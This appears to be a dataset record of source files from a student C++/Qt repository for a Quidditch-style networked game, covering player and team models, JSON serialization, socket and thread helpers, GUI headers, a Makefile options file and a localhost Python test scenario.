r;\n}\n\nbool Match::isGuest(Club * club) {\n if (clubs_[guest] == club) {\n return true;\n }\n else {\n return false;\n }\n}\n\nvoid Match::setWays(bool isGuest, Way playerWays[7]) {\n for (int i = 0; i < 7; i++) {\n playerWays_[isGuest][i] = playerWays[i];\n }\n}\n\nbool Match::setReady(bool isGuest) {\n ready_[isGuest] = true;\n if (ready_[!isGuest]) {\n ready_[0] = false;\n ready_[1] = false;\n return true;\n }\n return false;\n}\n" }, { "alpha_fraction": 0.6962025165557861, "alphanum_fraction": 0.6962025165557861, "avg_line_length": 17.959999084472656, "blob_id": "bd07900611c9083459ebb11db4f2330be4ec7819", "content_id": "3bfab198485d16a5c80b9b264806e294d630e856", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 474, "license_type": "permissive", "max_line_length": 54, "num_lines": 25, "path": "/src/common/models/GoldenSnitch.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef GOLDENSNITCH_H\n#define GOLDENSNITCH_H\n\n#include <stdlib.h>\n#include <time.h>\n#include <string>\n\n#include \"Position.h\"\n#include \"Case.h\"\n\n#include \"Ball.h\"\n\nclass GoldenSnitch: public Ball {\n\npublic:\n GoldenSnitch();\n ~GoldenSnitch();\n GoldenSnitch(int speed, Position position);\n GoldenSnitch(JsonValue * json);\n Position autoMove(const Case grid[WIDTH][LENGTH]);\n operator JsonDict() const;\n std::string getName();\n};\n\n#endif // GOLDENSNITCH_H\n" }, { "alpha_fraction": 0.617678165435791, "alphanum_fraction": 0.6182074546813965, "avg_line_length": 32.14619827270508, "blob_id": "91a97113382a78403da11e4c6cdd34db806ad455", "content_id": "de776b78780ff003a77ed85ef694dfe77e64744f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5668, "license_type": "permissive", "max_line_length": 306, "num_lines": 171, "path": "/src/common/models/FieldPlayer.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"FieldPlayer.h\"\n\nusing namespace std;\n\nFieldPlayer::FieldPlayer(int role, bool guest): role_(role), guest_(guest), hasQuaffle_(false) {}\n\nFieldPlayer::FieldPlayer(): role_(0), hasQuaffle_(false) {\n guest_ = false;\n\n}\n\nFieldPlayer::~FieldPlayer() {}\n\nFieldPlayer::FieldPlayer(NonFieldPlayer & nonFieldPlayer, int role, bool guest): hasQuaffle_(false) {\n speed_ = nonFieldPlayer.getSpeed();\n force_ = nonFieldPlayer.getForce();\n agility_ = nonFieldPlayer.getAgility();\n reflexes_ = nonFieldPlayer.getReflexes();\n passPrecision_ = nonFieldPlayer.getPassPrecision();\n wounded_ = nonFieldPlayer.isWounded();\n inventory_ = nonFieldPlayer.getInventory();\n role_ = role;\n guest_ = guest;\n\n}\n\nFieldPlayer::FieldPlayer(int speed, int force, int agility, int reflexes, int passPrecision, bool wounded, std::vector<Item> inventory, int role, bool guest, bool hasQuaffle): Player(speed, force, agility, reflexes, passPrecision, wounded, inventory), role_(role), guest_(guest), hasQuaffle_(hasQuaffle) {}\n\nFieldPlayer::FieldPlayer(JsonValue * json) {\n JsonDict * player_dict = JDICT(json);\n\n if (player_dict == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n JsonInt * speed_int = JINT((*player_dict)[\"speed\"]);\n if (speed_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n int speed = *speed_int;\n\n JsonInt * force_int = JINT((*player_dict)[\"force\"]);\n if (force_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n int force = *force_int;\n\n JsonInt * agility_int = JINT((*player_dict)[\"agility\"]);\n if (agility_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n int agility = *agility_int;\n\n JsonInt * reflexes_int = JINT((*player_dict)[\"reflexes\"]);\n if (reflexes_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n int reflexes = *reflexes_int;\n\n JsonInt * passPrecision_int = JINT((*player_dict)[\"passPrecision\"]);\n if (passPrecision_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n int passPrecision = *passPrecision_int;\n\n JsonBool * wounded_bool = JBOOL((*player_dict)[\"wounded\"]);\n if (wounded_bool == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n bool wounded = *wounded_bool;\n\n JsonList * item_list = JLIST((*player_dict)[\"inventory\"]);\n if (item_list == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n std::vector<Item> inventory;\n for (int i = 0; i < item_list->size(); i++) {\n inventory.push_back(Item((*item_list)[i]));\n }\n\n JsonInt * role_int = JINT((*player_dict)[\"role\"]);\n if (role_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n int role = *role_int;\n\n JsonBool * guest_bool = JBOOL((*player_dict)[\"guest\"]);\n if (guest_bool == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n bool guest = *guest_bool;\n\n JsonBool * hasQuaffle_bool = JBOOL((*player_dict)[\"hasQuaffle\"]);\n if (hasQuaffle_bool == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n bool hasQuaffle = *hasQuaffle_bool;\n\n new (this)FieldPlayer(speed, force, agility, reflexes, passPrecision, wounded, inventory, role, guest, hasQuaffle);\n}\n\nFieldPlayer & FieldPlayer::operator=(Player & player) {\n if (this != &player) {\n speed_ = player.getSpeed();\n force_ = player.getForce();\n agility_ = player.getAgility();\n reflexes_ = player.getReflexes();\n passPrecision_ = player.getPassPrecision();\n wounded_ = player.isWounded();\n inventory_ = player.getInventory();\n }\n return *this;\n}\nbool FieldPlayer::isInGuestTeam() {\n return guest_;\n}\n\nvoid FieldPlayer::move() {}\n\nvoid FieldPlayer::hitBudger() {}\n\nvoid FieldPlayer::catchGoldenSnitch() {}\n\nvoid FieldPlayer::throwQuaffle() {}\n\nvoid FieldPlayer::catchQuaffle() {}\n\nvoid FieldPlayer::testMove() {}\n\n\nvoid FieldPlayer::setRole(int role) {\n role_ = role;\n}\n\nint FieldPlayer::getRole() {\n return role_;\n}\n\nFieldPlayer::operator JsonDict() const {\n JsonDict r;\n r.add(\"speed\", new JsonInt(speed_));\n r.add(\"force\", new JsonInt(force_));\n r.add(\"agility\", new JsonInt(agility_));\n r.add(\"reflexes\", new JsonInt(reflexes_));\n r.add(\"passPrecision\", new JsonInt(passPrecision_));\n r.add(\"wounded\", new JsonBool(wounded_));\n\n r.add(\"role\", new JsonInt(role_));\n r.add(\"guest\", new JsonBool(guest_));\n r.add(\"hasQuaffle\", new JsonBool(hasQuaffle_));\n\n JsonList * inventory = new JsonList();\n for (int i = 0; i < inventory_.size(); i++) {\n JsonDict * item = new JsonDict(inventory_[i]);\n inventory->add(item);\n }\n r.add(\"inventory\", inventory);\n\n return r;\n}\n\nbool FieldPlayer::hasQuaffle() const {\n return hasQuaffle_;\n}\n\nvoid FieldPlayer::setHasQuaffle(bool hasQuaffle) {\n hasQuaffle_ = hasQuaffle;\n}\n" }, { "alpha_fraction": 0.6992084383964539, "alphanum_fraction": 0.7018469572067261, "avg_line_length": 18.947368621826172, "blob_id": "1ac72e8fe23ddda8f4447fa73328f692520a815e", "content_id": "6657709b51ac27ec83890d0fc27202549ffc4d8c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 379, "license_type": "permissive", "max_line_length": 71, "num_lines": 19, "path": "/src/common/lib/socket/helpers.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef SOCKHELPERS_H\n#define SOCKHELPERS_H\n\n#include <stdlib.h>\n#include <netdb.h>\n#include <arpa/inet.h>\n#include <errno.h>\n#include <cstring>\n\n#include <string>\n\n#define RCV_SIZE 2\n\nchar * get_ip_str(const struct sockaddr * sa, char * s, size_t maxlen);\nchar * addrinfo_to_ip(const addrinfo info, char * ip);\nvoid * get_in_addr(const sockaddr * sa);\n\n\n#endif // SOCKHELPERS_H\n" }, { "alpha_fraction": 0.6915887594223022, "alphanum_fraction": 0.6935914754867554, "avg_line_length": 21.35820960998535, "blob_id": "ab241400e07a860cab5f6ffec87646fb49540dbf", "content_id": "167460b6ee535e7d45c00c4f0f4af796b85335f0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1498, "license_type": "permissive", "max_line_length": 98, "num_lines": 67, "path": "/src/client/gui/matchwidget.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef MATCHWIDGET_H\n#define MATCHWIDGET_H\n\n#include <QWidget>\n#include <QVBoxLayout>\n#include <QLabel>\n#include <QCoreApplication>\n#include <QGridLayout>\n#include <QPushButton>\n#include <QTextEdit>\n#include <QGraphicsView>\n#include <QGraphicsItem>\n#include <QFrame>\n#include <QTextEdit>\n#include <cmath>\n\n#include <iostream>\n\n#include \"hexagon.h\"\n#include \"../../common/models/Case.h\"\n#include \"../../common/lib/socket/Socket.h\"\n#include \"../../common/models/Match.h\"\n\n\nclass MainWindow;\n\nclass MatchWidget: public QWidget {\n Q_OBJECT\npublic:\n explicit MatchWidget(Match * startingMatch, bool isGuest, int matchID, MainWindow * parent=0);\n void mousePressEvent(QMouseEvent *);\n void generateGrid();\n ~MatchWidget();\n void refreshField();\n Position getCase(QMouseEvent * event);\n bool isCaseHighlighted(unsigned a, unsigned b);\n bool isInChosenWays(unsigned x, unsigned y);\nsignals:\n\npublic slots:\n void setCurrentMatch(Match *);\n void nextPlayer();\n void endTurn();\n void surrender();\n void endMatch(int signal);\n\nprivate:\n MainWindow * parent_;\n QWidget * mainWidget;\n QPushButton * turnEndButton;\n QLabel * ownScore;\n QLabel * label = NULL;\n QLabel * opponentScore;\n QFrame * fieldWidget;\n Match * currentMatch_;\n Case grid_[WIDTH][LENGTH];\n QLabel * playerLabels_[2][4];\n Way highlightedCases;\n std::vector<Way> chosenWays;\n bool isGuest_;\n int matchID_;\n\n};\n\n#include <mainwindow.h>\n\n#endif // MATCHWIDGET_H\n" }, { "alpha_fraction": 0.539534866809845, "alphanum_fraction": 0.5484143495559692, "avg_line_length": 23.894737243652344, "blob_id": "672bb7f2f2af1be440ba97f705fb534655128780", "content_id": "28eed4aa564daeb4502633b0ea024fa285e66740", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2365, "license_type": "permissive", "max_line_length": 118, "num_lines": 95, "path": "/src/common/models/Team.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"Team.h\"\n\nusing namespace std;\n\nTeam::Team() {\n for (int i = 0; i < 7; ++i) {\n players_[i] = 0;\n }\n}\n\nTeam::Team(JsonValue * json) {\n JsonDict * team = JDICT(json);\n JsonDict * player_dict;\n NonFieldPlayer * players[7];\n\n if (team == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n JsonList * players_list = JLIST((*team)[\"players\"]);\n if (players_list == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n if (players_list->size() != 7) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n for (int i = 0; i < 7; i++) {\n player_dict = JDICT((*players_list)[i]);\n if (player_dict == NULL) {\n players[i] = NULL;\n }\n else {\n players[i] = new NonFieldPlayer(player_dict);\n }\n }\n new (this)Team(players);\n\n}\n\nTeam::Team(NonFieldPlayer * players[7]) {\n for (int i = 0; i < 7; ++i) {\n players_[i] = players[i];\n }\n}\n\nTeam::~Team() {}\n\nvoid Team::setPlayers(NonFieldPlayer players[7]) {\n for (int i = 0; i < 7; ++i) {\n players_[i] = &players[i];\n }\n}\n\nvoid Team::setPlayer(NonFieldPlayer & player, int pos) {\n players_[pos] = &player;\n}\n\nNonFieldPlayer * Team::getPlayer(int pos) {\n return players_[pos];\n}\n\nNonFieldPlayer * Team::changePlayer(int pos, NonFieldPlayer & player) {\n NonFieldPlayer * tmpPlayer = players_[pos];\n players_[pos] = &player;\n return tmpPlayer;\n}\n\nNonFieldPlayer & Team::removePlayer(int pos) {\n NonFieldPlayer * tempPlayer = (players_[pos]);\n players_[pos] = NULL;\n return *tempPlayer;\n}\n\nvoid Team::swapPlayers(int pos1, int pos2) {\n NonFieldPlayer * tempPlayer = (players_[pos1]);\n players_[pos1] = players_[pos2];\n players_[pos2] = tempPlayer;\n}\n\nTeam::operator JsonDict() const {\n JsonDict r;\n JsonList * players = new JsonList();\n for (int i = 0; i < 7; i++) {\n if (players_[i] != NULL) {\n JsonDict * item = new JsonDict(*(players_[i]));\n players->add(item);\n }\n else {\n players->add(new JsonNull());\n }\n }\n r.add(\"players\", players);\n\n return r;\n}\n" }, { "alpha_fraction": 0.5947712659835815, "alphanum_fraction": 0.601307213306427, "avg_line_length": 17, "blob_id": "a858c821b554fc6734f990f7efec065eba9b3d0a", "content_id": "5579901119be2ec7df14bdd4a6018315590d82ca", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 306, "license_type": "permissive", "max_line_length": 55, "num_lines": 17, "path": "/src/common/lib/thread/thread.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"thread.h\"\n\nusing namespace std;\n\nThread::Thread(void * (* routine) (void *), void * p) {\n pthread_create(&tid, NULL, routine, p);\n}\n\nbool Thread::alive() {\n return pthread_kill(tid, 0) == 0;\n}\n\nvoid * Thread::join() {\n void * result;\n pthread_join(tid, &result);\n return result;\n}\n" }, { "alpha_fraction": 0.7734375, "alphanum_fraction": 0.7734375, "avg_line_length": 24.600000381469727, "blob_id": "d38d72602098ceae8a8f322d670d68017ee513d6", "content_id": "4bb800d740c56270de5ec6d1bc566e1a11cc380d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 128, "license_type": "permissive", "max_line_length": 80, "num_lines": 5, "path": "/src/common/lib/json/ParseError.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"ParseError.h\"\n\nusing namespace std;\n\nParseError::ParseError(string message): runtime_error::runtime_error(message) {}\n" }, { "alpha_fraction": 0.7080062627792358, "alphanum_fraction": 0.708791196346283, "avg_line_length": 18.90625, "blob_id": "39052bed86c20018b63956855d2a9ebf019009e9", "content_id": "4043f07d14ea13cff283f94edd2afff2fb4060d4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1274, "license_type": "permissive", "max_line_length": 72, "num_lines": 64, "path": "/src/client/gui/menuwindow.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef MENUWINDOW_H\n#define MENUWINDOW_H\n\n#include <QMainWindow>\n#include <QLineEdit>\n#include <QMessageBox>\n#include <QLabel>\n#include <QFile>\n#include <QPushButton>\n#include <QHBoxLayout>\n#include <QWidget>\n#include <QString>\n#include <string>\n#include <vector>\n#include <QComboBox>\n#include <iostream>\n\n#include \"../../common/models/Match.h\"\n\nclass MainWindow;\n\n\nclass MenuWindow: public QWidget {\n Q_OBJECT\npublic:\n explicit MenuWindow(MainWindow * parent=0);\n\n QGridLayout * mainLayout;\n QGridLayout * matchLauncherLayout;\n\n QWidget * quitWidget;\n QWidget * matchLauncherWidget;\n\n QComboBox * list;\n\n QPushButton * disconnectButton;\n QPushButton * infrastructureButton;\n QPushButton * auctionHouseButton;\n QPushButton * teamHandlingButton;\n bool isActive();\n void enable();\n void disable();\n\nsignals:\n\npublic slots:\n void refreshConnectedList(std::vector<std::string> * connectedList);\n void logOut();\n void startMatch(Match * startingMatch, bool isGuest, int matchID);\n void handlePlayers();\n void auctionHouse();\n void infrastructures();\n void askConnectedListRefresh();\n void sendChallenge();\n\nprivate:\n MainWindow * parent_;\n bool active;\n\n};\n\n#include <mainwindow.h>\n\n#endif // MENUWINDOW_H\n" }, { "alpha_fraction": 0.6909667253494263, "alphanum_fraction": 0.6973058581352234, "avg_line_length": 16.08108139038086, "blob_id": "95db8891473f1402ae569b2e855267e642ed0c57", "content_id": "3dc2606180c042871d85c57037718daf8256cacb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 631, "license_type": "permissive", "max_line_length": 143, "num_lines": 37, "path": "/src/options.mk", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "ifdef C\n\tCXX=$(C)\nelse\n\tifeq ($(shell uname),Darwin)\n\t\tCXX=clang++\n\telse\n\t\tCXX=g++\n\tendif\nendif\n\nifndef CFLAGS\n\tCFLAGS=\nendif\n\nifndef LDFLAGS\n\tLDFLAGS=\nendif\n\nCFLAGS+= -std=c++11\nifneq ($(shell uname),Darwin)\n\tLDFLAGS+= -pthread\n\tCFLAGS+= -pthread\nendif\n\nifneq ($(D), 0)\n \tCFLAGS+= -ggdb\nendif\n\nifeq ($(S), 1)\n\tCFLAGS+=-Wpedantic -Wall -Wextra -Winit-self -Winline -Wconversion -Weffc++ -Wctor-dtor-privacy -Woverloaded-virtual -Wconversion -Wsign-promo\n\tifeq ($(CXX), g++)\n\t\tCFLAGS+=-Wstrict-null-sentinel -Wnoexcept -Wzero-as-null-pointer-constant\n\tendif\nendif\n\nROOT=$(shell git rev-parse --show-toplevel)\nBUILD_DIR=$(ROOT)/build" }, { "alpha_fraction": 0.7786259651184082, "alphanum_fraction": 0.7786259651184082, "avg_line_length": 25.200000762939453, "blob_id": "d2aa7010e48a16898d8a33651371c9dcd20c5010", "content_id": "92f85f2692395b564b0b910e1ddfc29d9a32c46d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 131, "license_type": "permissive", "max_line_length": 82, "num_lines": 5, "path": "/src/common/lib/exception/SocketError.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"SocketError.h\"\n\nusing namespace std;\n\nSocketError::SocketError(string message): runtime_error::runtime_error(message) {}\n" }, { "alpha_fraction": 0.742514967918396, "alphanum_fraction": 0.742514967918396, "avg_line_length": 18.647058486938477, "blob_id": "af8dec908cd02851b25655cd4b1fc80b6ba8e5a4", "content_id": "9fec7bc4d9bd841df2752605b02d21f0eed4084b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 334, "license_type": "permissive", "max_line_length": 59, "num_lines": 17, "path": "/src/common/models/TrainingField.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef TRAININGFIELD_H\n#define TRAININGFIELD_H\n\n#include \"Installation.h\"\n#include \"NonFieldPlayer.h\"\n\nclass TrainingField: public Installation {\n\npublic:\n TrainingField();\n ~TrainingField();\n TrainingField operator=(TrainingField & trainingField);\n void training(NonFieldPlayer & player);\n\n};\n\n#endif // TRAININGFIELD_H\n" }, { "alpha_fraction": 0.6573426723480225, "alphanum_fraction": 0.6585081815719604, "avg_line_length": 20.450000762939453, "blob_id": "57a8fdacd29b441ddab90b440c3aaa973ca2c60c", "content_id": "5f88705d476d57d9d6959fbf00a5d3690f0a2beb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 858, "license_type": "permissive", "max_line_length": 86, "num_lines": 40, "path": "/src/common/models/Installation.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"Installation.h\"\n\nInstallation::Installation(int level): level_(level) {}\n\nInstallation::Installation(JsonValue * json) {\n JsonDict * installation = JDICT(json);\n\n if (installation == NULL) {\n throw ModelUnserializationError(\"Installation initialized from non dict\");\n }\n\n JsonInt * level = JINT((*installation)[\"level\"]);\n if (level == NULL) {\n throw ModelUnserializationError(\"Missing int at key 'level' in Installation\");\n }\n\n new (this)Installation((int) *level);\n}\n\nInstallation::~Installation() {}\n\nvoid Installation::improve() {\n level_ += 1;\n}\n\nint Installation::improvePrice() {\n return baseprice_ + pow(powerprice_, level_);\n}\n\nint Installation::getLevel() {\n return level_;\n}\n\nInstallation::operator JsonDict() const {\n JsonDict r;\n\n r.add(\"level\", new JsonInt(level_));\n\n return r;\n}\n" }, { "alpha_fraction": 0.5241855978965759, "alphanum_fraction": 0.5281342267990112, "avg_line_length": 27.13888931274414, "blob_id": "cee70a1a898b9d9acd67faa62a40b2a8cd73154a", "content_id": "c9392939078db9c671bdc4a4b287a433f01b2ffc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1013, "license_type": "permissive", "max_line_length": 108, "num_lines": 36, "path": "/src/server/client_loop.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"client_loop.h\"\n\nusing namespace std;\n\n\nvoid * client_loop(void * arg) {\n UserHandler * handler = (UserHandler *) arg;\n try {\n handler->loop();\n }\n catch (exception & e) {\n try {\n JsonDict answer;\n\n answer.add(\"Error\", new JsonString(\"Unknown error\"));\n answer.add(\"code\", new JsonInt(500));\n handler->writeToClient(\"error\", &answer);\n }\n catch (exception & e) {\n cout << \"Uncought exception while handling uncought exception, very BAD !\" << endl;\n cout << e.what() << endl;\n }\n catch (...) {\n cout << \"Uncought UNKNOWN exception while handling uncought exception, very VERY BAD !\" << endl;\n }\n cout << \"Uncought exception, this is bad !\" << endl;\n cout << e.what() << endl;\n }\n catch (...) {\n cout << \"Uncought UNKNOWN exception, very BAD !\" << endl;\n }\n delete handler;\n cout << \"Client disconnected.\" << endl;\n\n return 0;\n}\n" }, { "alpha_fraction": 0.6359649300575256, "alphanum_fraction": 0.6359649300575256, "avg_line_length": 13.25, "blob_id": "9859d2a5a4dfda5b9c12d789011fdce43b0845c6", "content_id": "cc5354a8ce7d18e92549f3c90f24e18722e74fc3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 228, "license_type": "permissive", "max_line_length": 38, "num_lines": 16, "path": "/src/common/models/Item.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef ITEM_H\n#define ITEM_H\n\n#include \"../lib/json/json.h\"\n#include \"ModelUnserializationError.h\"\n\nclass Item {\n\npublic:\n Item();\n Item(JsonValue * json);\n ~Item();\n operator JsonDict() const;\n};\n\n#endif // ITEM_H\n" }, { "alpha_fraction": 0.5420689582824707, "alphanum_fraction": 0.5613793134689331, "avg_line_length": 19.13888931274414, "blob_id": "73a471fb16e20990abf55870f6a6720b42509de6", "content_id": "c55bccb21ea93e47741d6c6f795fdcb37d668e14", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 725, "license_type": "permissive", "max_line_length": 65, "num_lines": 36, "path": "/src/common/lib/test/python/scenarios/match.py", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport json\nimport os\nfrom time import sleep\n\nfrom lib import sock, send, recv, coroutine, force_login\n\nHOST = 'localhost'\nPORT = 5001\n\n\ndef user1():\n with sock(HOST, PORT) as s:\n force_login(s, 'a')\n sleep(0.5)\n send(s, \"challenge\", {'other_username': 'b'})\n sleep(0.5) # wait to accept\n recv(s) # recieve begin_match\n\n\ndef user2():\n with sock(HOST, PORT) as s:\n force_login(s, 'b')\n r = recv(s) # recieve challenge\n send(s, 'accept_challenge', {'id': r[1]['challenge_id']})\n recv(s) # recieve begin_match\n\n\nif __name__ == '__main__':\n a = coroutine(user1)\n b = coroutine(user2)\n\n a.join()\n b.join()\n" }, { "alpha_fraction": 0.5800482630729675, "alphanum_fraction": 0.5844730734825134, "avg_line_length": 28.951807022094727, "blob_id": "52261b2caa1e86548b73a88372acef92ccdc92df", "content_id": "f296246364721c66a3fefaf4c550d628833d9bea", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2486, "license_type": "permissive", "max_line_length": 118, "num_lines": 83, "path": "/src/common/models/GoldenSnitch.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"GoldenSnitch.h\"\n\nusing namespace std;\n\nGoldenSnitch::GoldenSnitch(): Ball(20) {\n srand(time(NULL));\n}\n\nGoldenSnitch::GoldenSnitch(int speed, Position position): Ball(speed, position) {}\n\nGoldenSnitch::GoldenSnitch(JsonValue * json) {\n\n JsonDict * ball_dict = JDICT(json);\n if (ball_dict == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n JsonInt * speed_int = JINT((*ball_dict)[\"speed\"]);\n if (speed_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n int speed = *speed_int;\n\n JsonList * position_list = JLIST((*ball_dict)[\"position\"]);\n if (position_list == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n JsonInt * x_int = JINT((*position_list)[0]);\n JsonInt * y_int = JINT((*position_list)[1]);\n\n if (x_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n if (y_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n Position position;\n position.x = *x_int;\n position.y = *y_int;\n\n new (this)GoldenSnitch(speed, position);\n}\n\nGoldenSnitch::~GoldenSnitch() {}\n\nPosition GoldenSnitch::autoMove(const Case grid[WIDTH][LENGTH]) {\n Position nextPosition;\n int next = rand() % 6;\n nextPosition = nextCase(position_, next, grid);\n if (grid[nextPosition.x][nextPosition.y].type == USABLE) {\n if (grid[nextPosition.x][nextPosition.y].ball == 0) {\n return nextPosition;\n }\n }\n for (int i = 0; i < 5; i++) {\n next = (next + 1) % 6;\n nextPosition = nextCase(position_, next, grid);\n if (grid[nextPosition.x][nextPosition.y].type == USABLE) {\n if (grid[nextPosition.x][nextPosition.y].ball == 0) {\n return nextPosition;\n }\n }\n }\n return position_;\n}\n\nstring GoldenSnitch::getName() {\n return \"G\";\n}\n\nGoldenSnitch::operator JsonDict() const {\n JsonDict r;\n r.add(\"speed\", new JsonInt(speed_));\n JsonList * position = new JsonList();\n position->add(new JsonInt(position_.x));\n position->add(new JsonInt(position_.y));\n r.add(\"position\", position);\n return r;\n}\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6701030731201172, "avg_line_length": 14.729729652404785, "blob_id": "7f0180c25c4ee77f864d2ed8586371fed5906fff", "content_id": "4dfba2af99e153bbf08643729897c01fc61fa04a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 582, "license_type": "permissive", "max_line_length": 55, "num_lines": 37, "path": "/src/client/gui/hexagon.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef HEXAGON_H\n#define HEXAGON_H\n\n#include <QWidget>\n#include <QDesktopWidget>\n#include <QPolygon>\n#include <QPoint>\n#include <QPainter>\n#include <QVector>\n#include <QFrame>\n#include <cmath>\n#include <iostream>\n\nusing namespace std;\n\nclass Hexagon: public QWidget {\n Q_OBJECT\npublic:\n explicit Hexagon(int x, int y, QWidget * parent=0);\n explicit Hexagon(QWidget * parent=0);\n ~Hexagon();\n void setCorners();\n void setX(int x);\n void setY(int y);\n QPolygon hexagon_;\n\nprotected:\n\nprivate:\n int x_;\n int y_;\n QVector<QPoint> corners;\n\n};\n\n\n#endif\n" } ]
133
Sifiros/pocCloudCost
https://github.com/Sifiros/pocCloudCost
9fc8ad44816e3dca1d3869cb04355a8e5e6b2917
d85ce349704413427602f683c0eb9944c9e43d28
973108b02446f3bcdc5227109f0b06adffcb8261
refs/heads/master
2021-03-27T19:10:55.701299
2018-02-23T10:33:30
2018-02-23T10:33:30
109,241,662
0
0
null
null
null
null
null
